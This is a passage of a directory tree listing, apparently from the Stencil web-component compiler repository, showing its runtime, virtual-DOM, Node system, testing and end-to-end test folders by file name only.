├── shadow-dom-event-bubbling.spec.ts │ │ │ ├── storage.spec.ts │ │ │ └── token-list.spec.ts │ │ ├── third-party/ │ │ │ └── jquery.ts │ │ ├── token-list.ts │ │ └── window.ts │ ├── runtime/ │ │ ├── asset-path.ts │ │ ├── bootstrap-custom-element.ts │ │ ├── bootstrap-lazy.ts │ │ ├── client-hydrate.ts │ │ ├── connected-callback.ts │ │ ├── disconnected-callback.ts │ │ ├── dom-extras.ts │ │ ├── element.ts │ │ ├── event-emitter.ts │ │ ├── fragment.ts │ │ ├── hmr-component.ts │ │ ├── host-listener.ts │ │ ├── index.ts │ │ ├── initialize-component.ts │ │ ├── mixin.ts │ │ ├── mode.ts │ │ ├── nonce.ts │ │ ├── parse-property-value.ts │ │ ├── platform-options.ts │ │ ├── profile.ts │ │ ├── proxy-component.ts │ │ ├── readme.md │ │ ├── render.ts │ │ ├── runtime-constants.ts │ │ ├── set-value.ts │ │ ├── slot-polyfill-utils.ts │ │ ├── styles.ts │ │ ├── tag-transform.ts │ │ ├── test/ │ │ │ ├── assets.spec.tsx │ │ │ ├── attr-deserialize.spec.tsx │ │ │ ├── attr-prop-prefix.spec.tsx │ │ │ ├── attr.spec.tsx │ │ │ ├── before-each.spec.tsx │ │ │ ├── bootstrap-lazy.spec.tsx │ │ │ ├── client-hydrate-to-vdom.spec.tsx │ │ │ ├── component-class.spec.tsx │ │ │ ├── component-error-handling.spec.tsx │ │ │ ├── dom-extras.spec.tsx │ │ │ ├── element.spec.tsx │ │ │ ├── event.spec.tsx │ │ │ ├── extends-basic.spec.tsx │ │ │ ├── fetch.spec.tsx │ │ │ ├── fixtures/ │ │ │ │ ├── cmp-a.css │ │ │ │ ├── cmp-a.tsx │ │ │ │ ├── cmp-asset.tsx │ │ │ │ └── utils.ts │ │ │ ├── globals.spec.tsx │ │ │ ├── host.spec.tsx │ │ │ ├── hydrate-no-encapsulation.spec.tsx │ │ │ ├── hydrate-prop.spec.tsx │ │ │ ├── hydrate-scoped.spec.tsx │ │ │ ├── hydrate-shadow-child.spec.tsx │ │ │ ├── hydrate-shadow-in-shadow.spec.tsx │ │ │ ├── hydrate-shadow-parent.spec.tsx │ │ │ ├── hydrate-shadow.spec.tsx │ │ │ ├── hydrate-slot-fallback.spec.tsx │ │ │ ├── hydrate-slotted-content-order.spec.tsx │ │ │ ├── hydrate-style-element.spec.tsx │ │ │ ├── initialize-component.spec.tsx │ │ │ ├── jsx.spec.tsx │ │ │ ├── lifecycle-async.spec.tsx │ │ │ ├── lifecycle-sync.spec.tsx │ │ │ ├── listen.spec.tsx │ │ │ ├── method.spec.tsx │ │ │ ├── mixin.spec.tsx │ │ │ ├── parse-property-value.spec.ts │ │ │ ├── prop-serialize.spec.tsx │ │ │ ├── prop-warnings.spec.tsx │ │ │ ├── prop.spec.tsx │ │ │ ├── queue.spec.tsx │ │ │ ├── regression-json-string-non-parsing.spec.tsx │ │ │ ├── render-text.spec.tsx │ │ │ ├── render-vdom.spec.tsx │ │ │ ├── scoped.spec.tsx │ │ │ ├── shadow.spec.tsx │ │ │ ├── state.spec.tsx │ │ │ ├── style.spec.tsx │ │ │ ├── svg-element.spec.tsx │ │ │ ├── tsconfig.json │ │ │ ├── update-component.spec.tsx │ │ │ ├── vdom-relocation.spec.tsx │ │ │ └── watch.spec.tsx │ │ ├── update-component.ts │ │ └── vdom/ │ │ ├── h.ts │ │ ├── jsx-dev-runtime.ts │ │ ├── jsx-runtime.ts │ │ ├── set-accessor.ts │ │ ├── test/ │ │ │ ├── __snapshots__/ │ │ │ │ └── vdom-annotations.spec.tsx.snap │ │ │ ├── attributes.spec.ts │ │ │ ├── event-listeners.spec.ts │ │ │ ├── h.spec.ts │ │ │ ├── is-same-vnode.spec.ts │ │ │ ├── jsx-runtime.spec.ts │ │ │ ├── patch-svg.spec.ts │ │ │ ├── patch.spec.ts │ │ │ ├── scoped-slot.spec.tsx │ │ │ ├── set-accessor.spec.ts │ │ │ ├── tsconfig.json │ │ │ ├── update-element.spec.ts │ │ │ ├── util.spec.ts │ │ │ ├── vdom-annotations.spec.tsx │ │ │ └── vdom-render.spec.tsx │ │ ├── update-element.ts │ │ ├── util.ts │ │ ├── vdom-annotations.ts │ │ └── vdom-render.ts │ ├── screenshot/ │ │ ├── connector-base.ts │ │ ├── connector-local.ts │ │ ├── index.ts │ │ ├── pixel-match.ts │ │ ├── screenshot-compare.ts │ │ └── screenshot-fs.ts │ ├── sys/ │ │ └── node/ │ │ ├── bundles/ │ │ │ ├── autoprefixer.js │ │ │ ├── glob.js │ │ │ ├── graceful-fs.js │ │ │ ├── node-fetch.js │ │ │ └── prompts.js │ │ ├── index.ts │ │ ├── logger/ │ │ │ ├── index.ts │ │ │ ├── terminal-logger.ts │ │ │ └── test/ │ │ │ └── terminal-logger.spec.ts │ │ ├── node-copy-tasks.ts │ │ ├── node-fs-promisify.ts │ │ ├── node-lazy-require.ts │ │ ├── node-resolve-module.ts │ │ ├── node-setup-process.ts │ │ ├── node-stencil-version-checker.ts │ │ ├── node-sys.ts │ │ ├── node-worker-controller.ts │ │ ├── node-worker-main.ts │ │ ├── node-worker-thread.ts │ │ ├── public.ts │ │ ├── test/ │ │ │ ├── node-lazy-require.spec.ts │ │ │ ├── test-worker-main.ts │ │ │ ├── tsconfig.json │ │ │ └── worker-manager.spec.ts │ │ └── worker.ts │ ├── testing/ │ │ ├── index.ts │ │ ├── jest/ │ │ │ ├── README.md │ │ │ ├── install-dependencies.mts │ │ │ ├── jest-27-and-under/ │ │ │ │ ├── jest-config.ts │ │ │ │ ├── jest-environment.ts │ │ │ │ ├── jest-facade.ts │ │ │ │ ├── jest-preprocessor.ts │ │ │ │ ├── jest-preset.ts │ │ │ │ ├── jest-runner.ts │ │ │ │ ├── jest-screenshot.ts │ │ │ │ ├── jest-serializer.ts │ │ │ │ ├── jest-setup-test-framework.ts │ │ │ │ ├── matchers/ │ │ │ │ │ ├── attributes.ts │ │ │ │ │ ├── class-list.ts │ │ │ │ │ ├── events.ts │ │ │ │ │ ├── html.ts │ │ │ │ │ ├── index.ts │ │ │ │ │ ├── screenshot.ts │ │ │ │ │ └── text.ts │ │ │ │ ├── package.json │ │ │ │ └── test/ │ │ │ │ ├── __snapshots__/ │ │ │ │ │ └── jest-serializer.spec.ts.snap │ │ │ │ ├── jest-config.spec.ts │ │ │ │ ├── jest-preprocessor.spec.ts │ │ │ │ ├── jest-runner.spec.ts │ │ │ │ ├── jest-serializer.spec.ts │ │ │ │ ├── jest-setup-test-framework.spec.ts │ │ │ │ └── tsconfig.json │ │ │ ├── jest-28/ │ │ │ │ ├── jest-config.ts │ │ │ │ ├── jest-environment.ts │ │ │ │ ├── jest-facade.ts │ │ │ │ ├── jest-preprocessor.ts │ │ │ │ ├── jest-preset.ts │ │ │ │ ├── jest-runner.ts │ │ │ │ ├── jest-screenshot.ts │ │ │ │ ├── jest-serializer.ts │ │ │ │ ├── jest-setup-test-framework.ts │ │ │ │ ├── matchers/ │ │ │ │ │ ├── attributes.ts │ │ │ │ │ ├── class-list.ts │ │ │ │ │ ├── events.ts │ │ │ │ │ ├── html.ts │ │ │ │ │ ├── index.ts │ │ │ │ │ ├── screenshot.ts │ │ │ │ │ └── text.ts │ │ │ │ ├── package.json │ │ │ │ └── test/ │ │ │ │ ├── __snapshots__/ │ │ │ │ │ └── jest-serializer.spec.ts.snap │ │ │ │ ├── jest-config.spec.ts │ │ │ │ ├── jest-preprocessor.spec.ts │ │ │ │ ├── jest-runner.spec.ts │ │ │ │ ├── jest-serializer.spec.ts │ │ │ │ ├── jest-setup-test-framework.spec.ts │ │ │ │ └── tsconfig.json │ │ │ ├── jest-29/ │ │ │ │ ├── jest-config.ts │ │ │ │ ├── jest-environment.ts │ │ │ │ ├── jest-facade.ts │ │ │ │ ├── jest-preprocessor.ts │ │ │ │ ├── jest-preset.ts │ │ │ │ ├── jest-runner.ts │ │ │ │ ├── jest-screenshot.ts │ │ │ │ ├── jest-serializer.ts │ │ │ │ ├── jest-setup-test-framework.ts │ │ │ │ ├── matchers/ │ │ │ │ │ ├── attributes.ts │ │ │ │ │ ├── class-list.ts │ │ │ │ │ ├── events.ts │ │ │ │ │ ├── html.ts │ │ │ │ │ ├── index.ts │ │ │ │ │ ├── screenshot.ts │ │ │ │ │ └── text.ts │ │ │ │ ├── package.json │ │ │ │ └── test/ │ │ │ │ ├── __snapshots__/ │ │ │ │ │ └── jest-serializer.spec.ts.snap │ │ │ │ ├── jest-config.spec.ts │ │ │ │ ├── jest-preprocessor.spec.ts │ │ │ │ ├── jest-runner.spec.ts │ │ │ │ ├── jest-serializer.spec.ts │ │ │ │ ├── jest-setup-test-framework.spec.ts │ │ │ │ └── tsconfig.json │ │ │ ├── jest-apis.ts │ │ │ ├── jest-facade.ts │ │ │ ├── jest-stencil-connector.ts │ │ │ └── test/ │ │ │ └── jest-stencil-connector.spec.ts │ │ ├── mock-fetch.ts │ │ ├── mocks.ts │ │ ├── platform/ │ │ │ ├── index.ts │ │ │ ├── load-module.ts │ │ │ ├── testing-build.ts │ │ │ ├── testing-constants.ts │ │ │ ├── testing-host-ref.ts │ │ │ ├── testing-log.ts │ │ │ ├── testing-platform.ts │ │ │ ├── testing-task-queue.ts │ │ │ └── testing-window.ts │ │ ├── puppeteer/ │ │ │ ├── index.ts │ │ │ ├── puppeteer-browser.ts │ │ │ ├── puppeteer-declarations.ts │ │ │ ├── puppeteer-element.ts │ │ │ ├── puppeteer-emulate.ts │ │ │ ├── puppeteer-events.ts │ │ │ ├── puppeteer-page.ts │ │ │ ├── puppeteer-screenshot.ts │ │ │ └── test/ │ │ │ └── puppeteer-screenshot.spec.ts │ │ ├── reset-build-conditionals.ts │ │ ├── spec-page.ts │ │ ├── test/ │ │ │ ├── __fixtures__/ │ │ │ │ └── cmp.tsx │ │ │ ├── functional.spec.tsx │ │ │ ├── testing-utils.spec.ts │ │ │ └── tsconfig.json │ │ ├── test-transpile.ts │ │ ├── testing-logger.ts │ │ ├── testing-sys.ts │ │ ├── testing-utils.ts │ │ ├── testing.ts │ │ └── tsconfig.internal.json │ ├── utils/ │ │ ├── byte-size.ts │ │ ├── constants.ts │ │ ├── es2022-rewire-class-members.ts │ │ ├── format-component-runtime-meta.ts │ │ ├── get-prop-descriptor.ts │ │ ├── helpers.ts │ │ ├── index.ts │ │ ├── is-glob.ts │ │ ├── is-root-path.ts │ │ ├── local-value.ts │ │ ├── logger/ │ │ │ ├── logger-rollup.ts │ │ │ ├── logger-typescript.ts │ │ │ └── logger-utils.ts │ │ ├── message-utils.ts │ │ ├── output-target.ts │ │ ├── path.ts │ │ ├── query-nonce-meta-tag-content.ts │ │ ├── regular-expression.ts │ │ ├── remote-value.ts │ │ ├── result.ts │ │ ├── serialize.ts │ │ ├── shadow-css.ts │ │ ├── shadow-root.ts │ │ ├── sourcemaps.ts │ │ ├── style.ts │ │ ├── test/ │ │ │ ├── helpers.spec.ts │ │ │ ├── is-root-path.spec.ts │ │ │ ├── message-utils.spec.ts │ │ │ ├── output-target.spec.ts │ │ │ ├── path.spec.ts │ │ │ ├── query-nonce-meta-tag-content.spec.ts │ │ │ ├── regular-expression.spec.ts │ │ │ ├── result.spec.ts │ │ │ ├── scope-css.spec.ts │ │ │ ├── serialize.spec.ts │ │ │ ├── sourcemaps.spec.ts │ │ │ ├── tsconfig.json │ │ │ ├── url-paths.spec.ts │ │ │ ├── util.spec.ts │ │ │ └── validation.spec.ts │ │ ├── types.ts │ │ ├── url-paths.ts │ │ ├── util.ts │ │ └── validation.ts │ └── version.ts ├── test/ │ ├── .npmrc │ ├── .scripts/ │ │ ├── analysis.js │ │ └── file-size-profile.js │ ├── browser-compile/ │ │ ├── package.json │ │ ├── src/ │ │ │ ├── compiler.worker.ts │ │ │ ├── components/ │ │ │ │ └── app-root/ │ │ │ │ ├── app-root.css │ │ │ │ └── app-root.tsx │ │ │ ├── components.d.ts │ │ │ ├── index.html │ │ │ ├── preview.html │ │ │ └── utils/ │ │ │ ├── css-template-plugin.ts │ │ │ ├── load-deps.ts │ │ │ └── templates.ts │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── bundle-size/ │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ └── test-component/ │ │ │ │ └── test-component.tsx │ │ │ └── components.d.ts │ │ ├── stencil.config.ts │ │ ├── test-bundle-size.js │ │ └── tsconfig.json │ ├── bundler/ │ │ ├── component-library/ │ │ │ ├── .gitignore │ │ │ ├── README.md │ │ │ ├── package.json │ │ │ ├── src/ │ │ │ │ ├── components/ │ │ │ │ │ └── my-component/ │ │ │ │ │ ├── my-component.css │ │ │ │ │ ├── my-component.tsx │ │ │ │ │ └── readme.md │ │ │ │ ├── components.d.ts │ │ │ │ ├── index.html │ │ │ │ ├── index.ts │ │ │ │ └── utils/ │ │ │ │ └── utils.ts │ │ │ ├── stencil.config.ts │ │ │ └── tsconfig.json │ │ ├── karma-stencil-utils.ts │ │ ├── karma.config.ts │ │ ├── package.json │ │ ├── readme.md │ │ ├── tsconfig.json │ │ └── vite-bundle-test/ │ │ ├── .gitignore │ │ ├── README.md │ │ ├── index.html │ │ ├── index.js │ │ ├── package.json │ │ └── vite-bundle.spec.ts │ ├── copy-task/ │ │ ├── README.md │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components.d.ts │ │ │ └── utils/ │ │ │ ├── __fixtures__/ │ │ │ │ └── foobar.json │ │ │ ├── __mocks__/ │ │ │ │ └── foo.js │ │ │ ├── desktop.ini │ │ │ ├── utils.spec.ts │ │ │ └── utils.ts │ │ ├── stencil.config.ts │ │ ├── tsconfig.json │ │ └── validate.mts │ ├── docs-json/ │ │ ├── custom-elements-manifest.json │ │ ├── docs.d.ts │ │ ├── docs.json │ │ ├── package.json │ │ ├── readme.md │ │ ├── scripts/ │ │ │ └── postprocess.js │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ ├── interfaces.ts │ │ │ │ ├── my-component/ │ │ │ │ │ ├── imported-interface.ts │ │ │ │ │ ├── my-component.ios.css │ │ │ │ │ ├── my-component.md.css │ │ │ │ │ └── my-component.tsx │ │ │ │ └── test-not-used.ts │ │ │ ├── components.d.ts │ │ │ ├── index.html │ │ │ └── index.ts │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── docs-readme/ │ │ ├── custom-readme-output/ │ │ │ └── components/ │ │ │ └── styleurls-component/ │ │ │ └── readme.md │ │ ├── custom-readme-output-overwrite/ │ │ │ └── components/ │ │ │ └── styleurls-component/ │ │ │ ├── readme-supplemental.md │ │ │ └── readme.md │ │ ├── custom-readme-output-overwrite-if-missing-missing/ │ │ │ └── components/ │ │ │ └── styleurls-component/ │ │ │ └── readme-supplemental.md │ │ ├── custom-readme-output-overwrite-if-missing-not-missing/ │ │ │ └── components/ │ │ │ └── styleurls-component/ │ │ │ └── readme.md │ │ ├── custom-readme-output-overwrite-never/ │ │ │ └── components/ │ │ │ └── styleurls-component/ │ │ │ └── readme.md │ │ ├── package.json │ │ ├── readme.md │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ └── styleurls-component/ │ │ │ │ ├── one.scss │ │ │ │ ├── readme.md │ │ │ │ ├── styleurls-component.tsx │ │ │ │ └── two.scss │ │ │ ├── components.d.ts │ │ │ ├── index.html │ │ │ └── index.ts │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── end-to-end/ │ │ ├── .gitignore │ │ ├── benchmark-compile-time.js │ │ ├── benchmark-results.json │ │ ├── benchmark-results.md │ │ ├── custom-elements-manifest.json │ │ ├── exportMap/ │ │ │ ├── index.js │ │ │ └── index.mts │ │ ├── package.json │ │ ├── screenshot/ │ │ │ └── .gitignore │ │ ├── src/ │ │ │ ├── app-root/ │ │ │ │ ├── app-root.e2e.ts │ │ │ │ ├── app-root.tsx │ │ │ │ ├── interfaces.d.ts │ │ │ │ ├── no-component.e2e.ts │ │ │ │ └── readme.md │ │ │ ├── build-data/ │ │ │ │ ├── build-data.e2e.ts │ │ │ │ ├── build-data.spec.ts │ │ │ │ ├── build-data.tsx │ │ │ │ └── readme.md │ │ │ ├── car-detail/ │ │ │ │ ├── assets-a/ │ │ │ │ │ └── file-1.txt │ │ │ │ ├── car-detail.tsx │ │ │ │ └── readme.md │ │ │ ├── car-list/ │ │ │ │ ├── assets-a/ │ │ │ │ │ └── file-2.txt │ │ │ │ ├── car-data.ts │ │ │ │ ├── car-list.css │ │ │ │ ├── car-list.e2e.ts │ │ │ │ ├── car-list.tsx │ │ │ │ └── readme.md │ │ │ ├── components.d.ts │ │ │ ├── declarative-shadow-dom/ │ │ │ │ ├── __snapshots__/ │ │ │ │ │ └── test.e2e.ts.snap │ │ │ │ ├── another-car-detail.css │ │ │ │ ├── another-car-detail.tsx │ │ │ │ ├── another-car-list.css │ │ │ │ ├── another-car-list.tsx │ │ │ │ ├── cmp-dsd-focus.tsx │ │ │ │ ├── cmp-dsd.css │ │ │ │ ├── cmp-dsd.tsx │ │ │ │ ├── cmp-with-slot.tsx │ │ │ │ ├── dsd-listen-cmp.css │ │ │ │ ├── dsd-listen-cmp.tsx │ │ │ │ ├── nested-child-cmp.css │ │ │ │ ├── nested-child-cmp.tsx │ │ │ │ ├── nested-scope-cmp.css │ │ │ │ ├── nested-scope-cmp.tsx │ │ │ │ ├── parent-cmp.css │ │ │ │ ├── parent-cmp.tsx │ │ │ │ ├── readme.md │ │ │ │ ├── scoped-car-detail.tsx │ │ │ │ ├── scoped-car-list.tsx │ │ │ │ ├── server-vs-client.tsx │ │ │ │ ├── ssr-shadow-cmp.tsx │ │ │ │ ├── test.e2e.ts │ │ │ │ └── wrap-ssr-shadow-cmp.tsx │ │ │ ├── deep-selector/ │ │ │ │ ├── cmpA.tsx │ │ │ │ ├── cmpB.tsx │ │ │ │ ├── cmpC.tsx │ │ │ │ ├── deep-selector.e2e.ts │ │ │ │ └── readme.md │ │ │ ├── dom-api/ │ │ │ │ ├── assets-b/ │ │ │ │ │ └── file-3.txt │ │ │ │ ├── dom-api.e2e.ts │ │ │ │ ├── dom-api.tsx │ │ │ │ └── readme.md │ │ │ ├── dom-interaction/ │ │ │ │ ├── dom-interaction.e2e.ts │ │ │ │ ├── dom-interaction.tsx │ │ │ │ └── readme.md │ │ │ ├── dom-visible/ │ │ │ │ ├── dom-visible.e2e.ts │ │ │ │ ├── dom-visible.tsx │ │ │ │ └── readme.md │ │ │ ├── element-cmp/ │ │ │ │ ├── element-cmp.e2e.ts │ │ │ │ ├── element-cmp.tsx │ │ │ │ └── readme.md │ │ │ ├── env-data/ │ │ │ │ ├── env-data.e2e.ts │ │ │ │ ├── env-data.spec.ts │ │ │ │ ├── env-data.tsx │ │ │ │ └── readme.md │ │ │ ├── event-cmp/ │ │ │ │ ├── event-cmp.e2e.ts │ │ │ │ ├── event-cmp.tsx │ │ │ │ └── readme.md │ │ │ ├── global.css │ │ │ ├── global.ts │ │ │ ├── hydrate-props/ │ │ │ │ ├── hydrate-props.e2e.ts │ │ │ │ ├── my-cmp.tsx │ │ │ │ ├── my-jsx-cmp.tsx │ │ │ │ └── readme.md │ │ │ ├── import-assets/ │ │ │ │ ├── assets/ │ │ │ │ │ ├── my-text.txt │ │ │ │ │ └── whatever.html │ │ │ │ ├── import-assets.e2e.ts │ │ │ │ ├── import-assets.tsx │ │ │ │ └── readme.md │ │ │ ├── index.html │ │ │ ├── listen-cmp/ │ │ │ │ ├── listen-cmp.e2e.ts │ │ │ │ ├── listen-cmp.tsx │ │ │ │ └── readme.md │ │ │ ├── method-cmp/ │ │ │ │ ├── method-cmp.e2e.ts │ │ │ │ ├── method-cmp.tsx │ │ │ │ └── readme.md │ │ │ ├── miscellaneous/ │ │ │ │ ├── renderToString.e2e.ts │ │ │ │ └── test.e2e.ts │ │ │ ├── non-existent-element/ │ │ │ │ ├── empty-cmp-shadow.tsx │ │ │ │ ├── empty-cmp.tsx │ │ │ │ ├── non-existent-element.e2e.ts │ │ │ │ └── readme.md │ │ │ ├── path-alias-cmp/ │ │ │ │ ├── path-alias-cmp.tsx │ │ │ │ ├── path-alias-lib.ts │ │ │ │ └── readme.md │ │ │ ├── prerender-cmp/ │ │ │ │ ├── prerender-cmp.css │ │ │ │ ├── prerender-cmp.tsx │ │ │ │ └── readme.md │ │ │ ├── prop-cmp/ │ │ │ │ ├── prop-cmp.e2e.ts │ │ │ │ ├── prop-cmp.ios.css │ │ │ │ ├── prop-cmp.md.css │ │ │ │ ├── prop-cmp.tsx │ │ │ │ └── readme.md │ │ │ ├── resolve-var-events/ │ │ │ │ ├── readme.md │ │ │ │ ├── resolve-var-events.e2e.ts │ │ │ │ └── resolve-var-events.tsx │ │ │ ├── scoped-hydration/ │ │ │ │ ├── non-shadow-forwarded-slot.tsx │ │ │ │ ├── non-shadow-multi-slots.tsx │ │ │ │ ├── non-shadow-slotted-siblings.tsx │ │ │ │ ├── non-shadow-wrapper.tsx │ │ │ │ ├── non-shadow.tsx │ │ │ │ ├── readme.md │ │ │ │ ├── scoped-hydration.e2e.ts │ │ │ │ ├── shadow-wrapper.tsx │ │ │ │ └── shadow.tsx │ │ │ ├── slot-cmp/ │ │ │ │ ├── readme.md │ │ │ │ └── slot-cmp.tsx │ │ │ ├── slot-cmp-container/ │ │ │ │ ├── readme.md │ │ │ │ ├── slot-cmp-container.e2e.ts │ │ │ │ └── slot-cmp-container.tsx │ │ │ ├── slot-parent-cmp/ │ │ │ │ ├── readme.md │ │ │ │ └── slot-parent-cmp.tsx │ │ │ ├── ssr-runtime-decorators/ │ │ │ │ ├── readme.md │ │ │ │ ├── ssr-runtime-decorators.e2e.ts │ │ │ │ └── ssr-runtime-decorators.tsx │ │ │ └── state-cmp/ │ │ │ ├── readme.md │ │ │ ├── state-cmp.e2e.ts │ │ │ └── state-cmp.tsx │ │ ├── stencil.build.config.ts │ │ ├── stencil.config.ts │ │ ├── test-end-to-end-dist.js │ │ ├── test-end-to-end-hydrate.js │ │ ├── tsconfig.build.json │ │ └── tsconfig.json │ ├── hello-vdom/ │ │ ├── .npmrc │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ ├── hello-vdom.tsx │ │ │ │ ├── index.ts │ │ │ │ └── styles.css │ │ │ ├── components.d.ts │ │ │ ├── index.html │ │ │ └── index.ts │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── hello-world/ │ │ ├── package.json │ │ ├── prerender.config.js │ │ ├── prerender.js │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ └── hello-world.tsx │ │ │ ├── components.d.ts │ │ │ ├── hello-world-text.ts │ │ │ ├── index-module.html │ │ │ └── index.html │ │ ├── stencil.config.ts │ │ ├── tsconfig.json │ │ └── tsconfig.parent.json │ ├── ionic-app/ │ │ ├── .gitignore │ │ ├── .npmrc │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ ├── app-home/ │ │ │ │ │ ├── app-home.e2e.ts │ │ │ │ │ ├── app-home.spec.ts │ │ │ │ │ └── app-home.tsx │ │ │ │ ├── app-profile/ │ │ │ │ │ ├── app-profile.e2e.ts │ │ │ │ │ ├── app-profile.spec.ts │ │ │ │ │ └── app-profile.tsx │ │ │ │ └── app-root/ │ │ │ │ ├── app-root.css │ │ │ │ ├── app-root.e2e.ts │ │ │ │ ├── app-root.spec.ts │ │ │ │ └── app-root.tsx │ │ │ ├── components.d.ts │ │ │ ├── global/ │ │ │ │ ├── app.css │ │ │ │ └── app.ts │ │ │ ├── helpers/ │ │ │ │ └── utils.ts │ │ │ ├── index.html │ │ │ └── manifest.json │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── jest-spec-runner/ │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ ├── mixed/ │ │ │ │ │ ├── mixed.spec.ts │ │ │ │ │ └── mixed.tsx │ │ │ │ ├── simple/ │ │ │ │ │ ├── simple.spec.ts │ │ │ │ │ └── simple.tsx │ │ │ │ └── utils/ │ │ │ │ ├── as-js-cjs.js │ │ │ │ ├── as-js-esm.js │ │ │ │ ├── as-mjs.mjs │ │ │ │ ├── as-ts.ts │ │ │ │ ├── deep-js-cjs.js │ │ │ │ ├── deep-js-esm.js │ │ │ │ ├── deep-mjs.mjs │ │ │ │ └── deep-ts.ts │ │ │ └── components.d.ts │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── package.json │ ├── performance/ │ │ ├── .npmrc │ │ ├── package.json │ │ ├── prerender.config.js │ │ ├── prerender.js │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ ├── my-app.tsx │ │ │ │ ├── my-item.tsx │ │ │ │ └── my-list.tsx │ │ │ ├── components.d.ts │ │ │ └── index.html │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── prerender-shadow/ │ │ ├── .npmrc │ │ ├── package.json │ │ ├── prerender.js │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ ├── cmp-a.tsx │ │ │ │ ├── cmp-b.tsx │ │ │ │ ├── cmp-c.tsx │ │ │ │ ├── cmp-d.css │ │ │ │ └── cmp-d.tsx │ │ │ ├── components.d.ts │ │ │ └── index.html │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── readme.md │ ├── runtime-benchmark/ │ │ ├── benchmark-results.json │ │ ├── benchmark-results.md │ │ ├── benchmark-runtime.js │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ └── perf-rows/ │ │ │ │ └── perf-rows.tsx │ │ │ ├── components.d.ts │ │ │ └── index.html │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── style-modes/ │ │ ├── .npmrc │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ ├── app-root/ │ │ │ │ │ ├── app-root.css │ │ │ │ │ └── app-root.tsx │ │ │ │ ├── scoped-mode/ │ │ │ │ │ ├── scoped-mode.buford.scss │ │ │ │ │ ├── scoped-mode.css │ │ │ │ │ ├── scoped-mode.griff.css │ │ │ │ │ ├── scoped-mode.scss │ │ │ │ │ └── scoped-mode.tsx │ │ │ │ └── shadow-mode/ │ │ │ │ ├── shadow-mode.buford.scss │ │ │ │ ├── shadow-mode.css │ │ │ │ ├── shadow-mode.griff.css │ │ │ │ ├── shadow-mode.scss │ │ │ │ └── shadow-mode.tsx │ │ │ ├── components.d.ts │ │ │ ├── custom-elements.html │ │ │ ├── global.ts │ │ │ ├── index.html │ │ │ └── scss/ │ │ │ └── _partial.scss │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── todo-app/ │ │ ├── .firebaserc │ │ ├── .gitignore │ │ ├── .npmrc │ │ ├── firebase.json │ │ ├── package.json │ │ ├── src/ │ │ │ ├── components/ │ │ │ │ ├── app-root/ │ │ │ │ │ └── app-root.tsx │ │ │ │ ├── todo-input/ │ │ │ │ │ └── todo-input.tsx │ │ │ │ └── todo-item/ │ │ │ │ └── todo-item.tsx │ │ │ ├── components.d.ts │ │ │ ├── global/ │ │ │ │ └── app.css │ │ │ └── index.html │ │ ├── stencil.config.ts │ │ └── tsconfig.json │ ├── type-tests/ │ │ ├── README.md │ │ ├── test.spec.tsx │ │ └── tsconfig.json │ └── wdio/ │ ├── .gitignore │ ├── README.md │ ├── async-rerender/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── attribute-basic/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── attribute-boolean/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── attribute-complex/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── attribute-deserializer/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── attribute-host/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── attribute-html/ │ │ ├── cmp-root.tsx │ │ └── cmp.test.tsx │ ├── auto-loader/ │ │ ├── auto-loader-child.tsx │ │ ├── auto-loader-dynamic.tsx │ │ ├── auto-loader-root.tsx │ │ ├── cmp.test.tsx │ │ ├── components.d.ts │ │ ├── perf-dist.test.tsx │ │ └── perf.test.tsx │ ├── auto-loader.stencil.config.ts │ ├── build-data/ │ │ ├── build-data.tsx │ │ └── cmp.test.tsx │ ├── child-load-failure/ │ │ ├── cmp-child-fail.tsx │ │ ├── cmp-parent.tsx │ │ └── cmp.test.tsx │ ├── clone-node/ │ │ ├── cmp-root.tsx │ │ ├── cmp-slide.tsx │ │ ├── cmp-text.tsx │ │ └── cmp.test.tsx │ ├── complex-properties/ │ │ ├── __snapshots__/ │ │ │ └── cmp.test.tsx.snap │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── computed-properties-prop-decorator/ │ │ ├── cmp-reflect.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── computed-properties-state-decorator/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── computed-properties-watch-decorator/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── conditional-basic/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── conditional-rerender/ │ │ ├── cmp-root.tsx │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── cross-document-constructed-styles/ │ │ ├── cmp.test.tsx │ │ └── cmp.tsx │ ├── css-variables/ │ │ ├── cmp-no-encapsulation.css │ │ ├── cmp-no-encapsulation.tsx │ │ ├── cmp-shadow-dom.css │ │ ├── cmp-shadow.tsx │ │ ├── cmp.test.tsx │ │ └── variables.css │ ├── custom-elements-delegates-focus/ │ │ ├── cmp.test.tsx │ │ ├── custom-elements-delegates-focus.tsx │ │ ├── custom-elements-no-delegates-focus.tsx │ │ └── 